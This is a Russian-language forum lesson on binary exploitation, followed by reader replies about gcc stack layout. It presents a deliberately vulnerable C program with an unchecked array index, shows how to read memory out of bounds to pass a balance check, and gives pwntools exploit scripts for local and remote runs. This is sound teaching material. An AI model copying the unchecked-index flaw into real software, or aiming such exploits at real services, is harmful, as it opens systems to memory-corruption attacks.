Функции gets() и scanf("%s", str) очень уязвимы, поэтому их лучше вообще не использовать. А если использовать, то ограничивать ввод. Например, можно ограничить ввод в программе выше максимум только 19 символами через scanf("%19s", str). Именно 19, так как потом добавляется символ конца строки (0x0) и всего получается 20 байт (19+1). Больше 19 байт в этом случае не получится пользователю передать в программу.

Но всё же лучше не использовать такие функции, а другие. Например, fgets().

C:
int fgets (char *str, int n, FILE *stream);

Вы обязаны ей передать количество читаемых символов через n. И можно передать число 20, если бы мы написали в примере выше. В этом случае прочитается только 19 байт, а оставшийся байт будет 0x0 и добавится в конец вводимой строки. И таким образом займётся все 20 байт.


2.3.2. Python + pwntools и "страшные индексы"

С функциями всё понятно: не нужно использовать те, где мы не можем контролировать количество вводимых символов. Но можно написать ещё программу так, что даже с "хорошими" функциями и "хорошими" аргументами есть возможность эксплуатации уязвимости.

Рассмотрим такой пример ниже, а уже потом изучим.

C:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>


int room_price[] = {
    50, //0
    100,//1
    150,//2
    250,//3
    500 //4
};


int human_in_room[] = {
    5,
    10,
    12,
    15,
    20
};


char arr[256] = {13};
unsigned int balance = 0;
unsigned int need_balance = 0xFFFFFFFF;

int main() {

    int i;
    char choice_room_str[4] = {0};
    char choice_room;


    while(1) {
        printf("\tSALES MENU\n\n");

        for (i = 0; i < 5; i++) {
            printf("Room %d\n", i);
            printf("Room price: %d\n", room_price[i]);
            printf("Maximum number of people in a room: %d\n\n", human_in_room[i]);
        }


        printf("Exit: 5\n\n");
        printf("Choose a room (0-4) or exit (5): ");
        fgets(choice_room_str, 4, stdin);

        choice_room = atoi(choice_room_str);

        if (choice_room == 5)
            exit(0);
        else {
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }


        printf("[INFO_FOR_US] Our balance: %u$\n\n", balance);
        sleep(1);

        if (balance == need_balance) {
            printf("[INFO_FOR_US] Hurray! We are rich!\n");
            printf("[INFO_FOR_US] We have %u$\n", balance);
            sleep(1);
            exit(0);
        }

    }

    return 0;
}

Компилировать через gcc array.c -o array. Да именно так, без защиты.

Пример работы программы можно увидеть ниже.



Это просто программа для бронирования каких-то комнат. Тот, кто её запускает, видит прибыль. А цель данной программы - получить 0xFFFFFFFF долларов.

Если мы попробуем честно получить такое количество долларов, то на это уйдёт не одна неделя :)

Следовательно, это не наш выход. Тут нужно использовать навыки PWN.

Если попытаться переполнить ввод привычным для нас способом, то ничего не получится.



И это нормально, что не получится, так как функция fgets(choice_room_str, 4, stdin); читает ровно 3 символа (4ый отводится под 0x0). А далее введённая строка с числом преобразуется в число через atoi. Если мы введём не число, то получим 0. Это видно на видео.

Тут нельзя переполнить буфер. Но можно "дотянуться" до некоторых байт в памяти и прочитать их. В видео можно заметить это.



Эта программа в IDA будет выглядеть так.

1676048389304.png


Нас интересует момент, где мы вводим номер комнаты и работаем с ним.

1676048397534.png


Тут вводим номер.

1676048406785.png


А тут его обрабатываем.

1676048418642.png


В красном блоке кода программа получает цену комнаты на основе введённых данных. В зелёном блоке кода программа добавляет эту цену к переменной balance. А в синем блоке кода происходит сравнение нужного баланса и текущего.

Посмотрим, что произойдёт при отладке в красном и зелёном блоке кода и вводе, например, цифры 3 и 8.

Вводим цифру 3.



Как мы помним из прошлой статьи, тут работает формула ниже.

Z = x+n×k

Где:
Z — это адрес нужного нам элемента.
x — это адрес элемента с индексом 0.
n — это индекс нужного нам элемента.
k — это размер типа данных одного элемента массива.

Это отчётливо видно на видео: 0x564DE2583020+3*4=0x564DE2583020+12=0x564DE258302C

По адресу 0x564DE258302C будет 0x0FA (250). Число 250 видно на видео.

Это мы передали 3 как индекс. Данное число находится в допустимых (0-4) А что будет, если передать 8 увидим ниже.


В этом случае всё так же как и в прошлый раз. Но мы уже выходим за границы допустимого ввода (0-4). И самое интересное, что при вводе цифры 8 программа снова вычисляет смещение по формуле выше: 0x564DE2583020+8*4=0x564DE2583020+32=0x564DE2583040.

По адресу 0x564DE2583040 находится первый элемент (5) массива human_in_room. Программа забирает это число и выводит его. А так же добавляет к переменной balance.

Из всего выше мы поняли, что можем обратиться к элементам до или после массива room_price. Это достигается благодаря тому, что введённые нами цифры-индексы не проверяются на корректность (то, что они находятся в диапазоне от 0 до 5). Из-за этого мы можем обращаться к другим элементам в памяти.

В блоке кода ниже можно увидеть, что создатель программы просто проверяет то, что переменная равна 5. Он не учёл то, что мы можем вводить числа больше 5. И поэтому подумал, что не добавлять проверку будет нормально.

C:
        if (choice_room == 5)
            exit(0);
        else {
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }


Данный код, как вариант, можно заменить на код ниже.


C:
        if (choice_room >= 5)
            exit(0);
        else if (choice_room < 5 && choice_room >= 0){
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }

Но есть вопрос: а на сколько далеко мы можем обратиться? Для этого рассмотрим такие строчки:

C:
char choice_room;
fgets(choice_room_str, 4, stdin);
choice_room = atoi(choice_room_str);

Тут происходит чтение 3 символов в choice_room_str, а потом строка из choice_room_str переводится в число благодаря функции atoi. Конечное число присваивается в переменную choice_room равную char. Так как переменная типа char, то максимальное значение может быть 127.

Следовательно, мы можем обратиться не далее 508 байт (127*4) памяти после начала room_price.

Но так как программист, написавший этот код, сделал char, а не unsigned char, то мы можем вводить и отрицательные числа. В этом случае программа будет использовать данные до начала room_price. И опять же максимум на 508 (127*4) до начала room_price.

Вспомните предыдущую статью. Мы там говорили про отрицательные индексы. Тут тоже самое. Пример работы можно посмотреть ниже. Там мы вводим -34. И программа обрабатывает это!



Хорошо, мы можем брать данные за пределами массива room_price. Но как это поможет нам сделать переменную balance равной нужному значению?

На самом деле всё просто: мы введём такое значение, чтобы программа взяла данные из сравниваемой переменной и добавила в balance. Потом при сравнении мы получим сообщение об успехе.

Звучит сложно, но на самом деле всё просто. Сейчас ниже покажу.

1676050436622.png


Нам нужно ввести такое значение, чтобы программа взяла данные из need_balance (0x4160). Напомню, что базовый адрес, относительно которого указывается смещение, — это room_price (0x4020).

Для вычисления смещения между ними можно просто вычесть из нужного адреса адрес начала: 0x4160-0x4020=0x140 (320). Это смещение в байтах.

Но вспомним, что в массиве room_price находятся данные типа int (4 байта). И при вычислении индекс нужного элемента умножается на 4. Таким образом, находится смещение в байтах. Далее оно прибавляется к базовому адресу.

В нашем случае нам наоборот нужно поделить смещение в байтах (320) на 4, чтобы найти индекс нужного элемента: 320/4=80. Попробуем ввести его в программу.



Тут видно, что мы получили 4294967295$ (0xFFFFFFFF). Ура! Посмотрим, как это всё будет выглядеть в IDA.


Видим, что программа берёт данные из need_balance, потом прибавляет их в balance и сравнивает balance с need_balance. И мы проходим проверку! И это даже без флага отключения защиты на стеке!

Программа запывнена! Но теперь сделаем это через pwntools.


2.3.3. Пишем эксплойт с приёмом данных

В этот раз мы примем данные и попробуем распечатать (для нас) значение в balance.

Для приёма данных есть методы группы recv. Для отправки - методы send, а для приёма - методы recv. В pwntools их довольно много, но чаще всего используются несколько. Остальные в определённых случаях.

Например, в send самые используемые - send(), sendline().
В recv самые используемые - recv(), recvuntil(), recvline().

Рассмотрим, какие аргументы передавать в методы:

Python:
recv() - recv(numb = 4096, timeout = default) // Принимает до numb байт данных. Если запроса не было до истечения timeout, то возвращается пустая строка.
recvuntil() - recvuntil(delims, drop=False, timeout=default) // Принимает данные пока не будет встречен один из разделителей (delims). Если drop - True, то не добавлять delims в принятые данные.
recvline() - recvline(keepends=True, timeout=default) // Принимает строку - последовательность байт с символом конца строки в конце (\n). Если keepends - это True, то сохранять символ новой строки в принятой строке.


send() - send(data) // Отправляет данные.
sendline() - sendline(data) // Отправляет данные и добавляет символ новой строки \n.


Можно просто написать код с recvuntil():

Python:
io = start()

io.recvuntil(b'Choose a room (0-4) or exit (5):')
io.sendline(b'80')

io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()

print(data)

io.interactive()


Это фрагмент кода.

Но он не будет почему-то принимать данные...

1676050732584.png


Давайте включим режим отладки и посмотрим. Для этого нужно добавить аргумент DEBUG.

1676050741033.png


Видим, что данные принимаются. Но последняя строчка почему-то нет.

Такое часто бывает локально при использовании recvuntil(), если строка к моменту приёма данных не имеет символа \n. Но если, например, сделать это удалённо, то всё будет хорошо.

Вот код таска для удалённого примера:

C:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>


int room_price[] = {
    50, //0
    100,//1
    150,//2
    250,//3
    500 //4
};


int human_in_room[] = {
    5,
    10,
    12,
    15,
    20
};


char arr[256] = {13};
unsigned int balance = 0;
unsigned int need_balance = 0xFFFFFFFF;


int main() {

    int i;
    char choice_room_str[4] = {0};
    char choice_room;


    while(1) {
        printf("\tSALES MENU\n\n");
        for (i = 0; i < 5; i++) {
            printf("Room %d\n", i);
            printf("Room price: %d\n", room_price);
            printf("Maximum number of people in a room: %d\n\n", human_in_room);
        }


        printf("Exit: 5\n\n");

        printf("Choose a room (0-4) or exit (5): ");
        fflush(stdout);
        fgets(choice_room_str, 4, stdin);

        choice_room = atoi(choice_room_str);

        if (choice_room == 5)
            exit(0);
        else {
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }


        printf("[INFO_FOR_US] Our balance: %u$\n\n", balance);
        sleep(1);
        fflush(stdout);


        if (balance == need_balance) {
            printf("[INFO_FOR_US] Hurray! We are rich!\n");
            printf("[INFO_FOR_US] We have %u$\n", balance);
            sleep(1);
            exit(0);
        }
    }
    return 0;
}

Можно установить tcpserver через apt install tcpserver и запустить его через tcpserver -v 0.0.0.0 1337 ./array.

1676050875996.png


Далее можно создать новый эксплойт и указать хост с портом через pwn template ./array --host 0.0.0.0 --port 1337 > exploit.py. И написать туда тот же эксплойт.

Вот фрагмент:

Python:
io = start()

io.recvuntil(b'Choose a room (0-4) or exit (5):')
io.sendline(b'80')

io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()

print(data)

io.interactive()

Запускаем.



Видим, что распечаталось b'4294967295$\n'. Это байтовая строка. Можем сделать её обычной через метод .decode(). Он переведёт байтовую строку (b'STRING') в обычную строку. И тогда наш фрагмент кода будет выглядеть так:

Python:
io = start()

io.recvuntil(b'Choose a room (0-4) or exit (5):')
io.sendline(b'80')


io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()
data = data.decode()

print(data)

io.interactive()

Тестируем.



Теперь всё печатается хорошо!

Если же нужно запустить всё это локально, то тогда лучше принять данные выше нужной строки (нужная - 'Choose a room (0-4) or exit (5):'). Выше нужно - это 'Exit: 5'. А дальше просто через, например, recvline() принять остальную часть.

Или высчитать просто использовать recv().

Пример дан ниже.

Python:
io = start()

io.recvuntil(b'Exit: 5')
io.recvline()
io.recvline()
io.sendline(b'80')


io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()
data = data.decode()

print(data)

io.interactive()


Заново создавать эксплойт не нужно. Оставьте тот, где мы указывали хост и порт. Но заменит фрагмент на нужный. Далее можно просто через аргумент LOCAL указать, что мы хотим запустить файл, а не подключиться к хосту. Без этого аргумента мы будем подключаться к удалённому хосту.

Пример можно увидеть ниже.



Видим, что с использованием LOCAL мы запускаем эксплойт локально. А если убрать этот аргумент, то удалённо. При использовании аргумента DEBUG можно рассмотреть это более подробно.

Так же необязательно заново создавать файл, если хост и порт поменялись. Их можно указывать через аргументы командной строки. Например, вот так:

Bash:
python3 exploit.py HOST=62.173.140.174 PORT=17000

Ещё можно, например, создавать переменные с байтовыми строками и отправлять, принимать нужную строку через функции. Например, тут мы создали байтовую строку some_data и потом отправили:

Python:
io = start()

some_data = b'A' * 50
some_data += p64(0xCDB)

io.recvuntil(b'Exit: 5')
io.recvline()
io.recvline()
io.sendline(some_data)

io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()
data = data.decode()

print(data)

io.interactive()


2.3.3.1. Итог

В итоге мы поняли и протестировали, что не следует давать возможность ввода индекса массива пользователю и использовать его индекса для взятия элемента. Это может привести к ошибкам.

Но если это важно в вашей программе, то нужно фильтровать ввод. Например, через условия.

В следующей статье мы научимся использовать отладчик GDB и через него проверять наши эксплойты. Также рассмотрим, что можно сделать более серьёзного при наличии возможности переполнения буфера.

Будет интересно!

Пока что изучите материал из этой статьи. Далее через неделю будут выложены первые 2 задания к уроку. А ещё через неделю ещё 3.


Спасибо за внимание! :)
 
В переменной secret_key было число 0xAAA. А после исполнения arr[-1] = 0xCCA мы поменяли значение на 0xCCA. Это потом пригодится нам (в следующей статье).
Компиляция: gcc test.c -o test
Запуск: ./test

Проверил. В arch всё как в статье, а в Debian stable не меняется значение в переменной secret_key, то есть при запуске:

secret_key_before = 0XAAA
secret_key_after = 0XAAA

Почему?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Проверил. В arch всё как в статье, а в Debian stable не меняется значение в переменной secret_key, то есть при запуске:

secret_key_before = 0XAAA
secret_key_after = 0XAAA

Почему?
Возможно в дебиане слишком умный компилятор. Надо просто скомпилировать бинарник с ключами. Попробуй скомпилировать так.
gcc -z execstack main.c -o main
 
Возможно в дебиане слишком умный компилятор.
так то он старее:
gcc --version
gcc (Debian 10.2.1-6) 10.2.1 20210110

не смотря на то что debian свежий, debian не любит свежий софт принципиально

Arch:
gcc --version
gcc (GCC) 12.2.1 20230201

Попробуй скомпилировать так.
gcc -z execstack main.c -o main
с таким ключом тот же самый результат, какие ключи ещё могут быть использованы?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
так то он старее:
gcc --version
gcc (Debian 10.2.1-6) 10.2.1 20210110

не смотря на то что debian свежий, debian не любит свежий софт принципиально

Arch:
gcc --version
gcc (GCC) 12.2.1 20230201



с таким ключом тот же самый результат, какие ключи ещё могут быть использованы?
Попробуй так, отключив оптимизацию и указав стандарт.
gcc -std=c99 -O0 -z execstack main.c -o main && ./main
 
Дело не в ключах, а в том как gcc располагает перменные.

У автора arr находится сразу после переменной secret_key ниже по стеку. По этой причине происходит перезапись по отрицательному индексу. Компилятор сам решает в каком порядке будут идти переменные и как будут выравнены данные.

Самый простой способ проверить адреса, это добавить код в main

C:
    printf("addr secret_key = %#p\n", &secret_key);
    printf("addr arr = %#p\n", &arr);

Эта особенность, кстати, как может открывать новые примитивы для экспулатации с включенными стековыми куками, так и мешать передать управление на адрес возврата, если перезаписанные переменные будут использоваться раньше, чем произойдет возврат из функции.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дело не в ключах, а в том как gcc располагает перменные.
Компилятор сам решает в каком порядке будут идти переменные и как будут выравнены данные.
Как раз таки дело в ключах... Ключи как раз таки меняют поведение компилятора. В моем случае указав стандарт с99 и отключив оптимизацию -O0 + исполняемый стек показало тот результат который требовался. Для выравнивания стека есть ключ mpreferred-stack-boundary.
 
Попробуй так, отключив оптимизацию и указав стандарт.
gcc -std=c99 -O0 -z execstack main.c -o main && ./main
вообщем у меня этот способ ничего не изменил.

Но я нашёл решение, хоть и не понял, почему оно даёт результат как у автора, а именно, скомпилировать код на ubuntu focal (на jammy и kinetic тоже перезапись переменной secret_key не происходит) и там оно работает как у автора.

При это я никакие ключи не использовал, а делал в класически:

gcc main.c -o main

После этого полученный бинарник можно скопировать на debian stable и запустить там. Скомпилированный бинарник класическим методом на focal будет работать так же как у автора под ОС Debian, и кстати на debian testing, который через полгода видимо уже станет stable (а stable станет oldstable), тоже работает бинарник скомпилированный на focal как у автора, но если компилировать их на родной системе и там же запускать полученный бинарник то, перезапись secret_key не происходит.

и хоть я указывал в прошлом сообщение на версию, и дело как оказывается даже не в ней:
например ubuntu focal:
gcc --version
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
Так же я пробовал компилировать на debian oldstable, где версия gcc 8.3.0 - тоже перезапись secret_key не происходит. То есть ни на одном Debian от oldstable до sid ничего не получилось через компиляцию с помощью gcc из ихних собственный репозиториев.
Я могу предположить, что возможно gcc нужно саморучно пересобрать с нужными параметрами, тогда будет всё как нужно.
Если кто-то даст объяснения, моему исследованию, то буду благодарен!
 
Как раз таки дело в ключах... Ключи как раз таки меняют поведение компилятора. В моем случае указав стандарт с99 и отключив оптимизацию -O0 + исполняемый стек показало тот результат который требовался. Для выравнивания стека есть ключ mpreferred-stack-boundary.

Это верно для оптимизации компилятором выше 0. У gcc дефолт "-O0" и "-mpreferred-stack-boundary=4"

и при чем тут исполняемый стек вообще?

вообщем у меня этот способ ничего не изменил.

Но я нашёл решение, хоть и не понял, почему оно даёт результат как у автора, а именно, скомпилировать код на ubuntu focal (на jammy и kinetic тоже перезапись переменной secret_key не происходит) и там оно работает как у автора.

При это я никакие ключи не использовал, а делал в класически:



После этого полученный бинарник можно скопировать на debian stable и запустить там. Скомпилированный бинарник класическим методом на focal будет работать так же как у автора под ОС Debian, и кстати на debian testing, который через полгода видимо уже станет stable (а stable станет oldstable), тоже работает бинарник скомпилированный на focal как у автора, но если компилировать их на родной системе и там же запускать полученный бинарник то, перезапись secret_key не происходит.

и хоть я указывал в прошлом сообщение на версию, и дело как оказывается даже не в ней:
например ubuntu focal:

Так же я пробовал компилировать на debian oldstable, где версия gcc 8.3.0 - тоже перезапись secret_key не происходит. То есть ни на одном Debian от oldstable до sid ничего не получилось через компиляцию с помощью gcc из ихних собственный репозиториев.
Я могу предположить, что возможно gcc нужно саморучно пересобрать с нужными параметрами, тогда будет всё как нужно.
Если кто-то даст объяснения, моему исследованию, то буду благодарен!

Чтобы понять на каком смещение от arr будет secret_key надо посмотреть дизассемблерный листинг main скомпилированный в debian
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх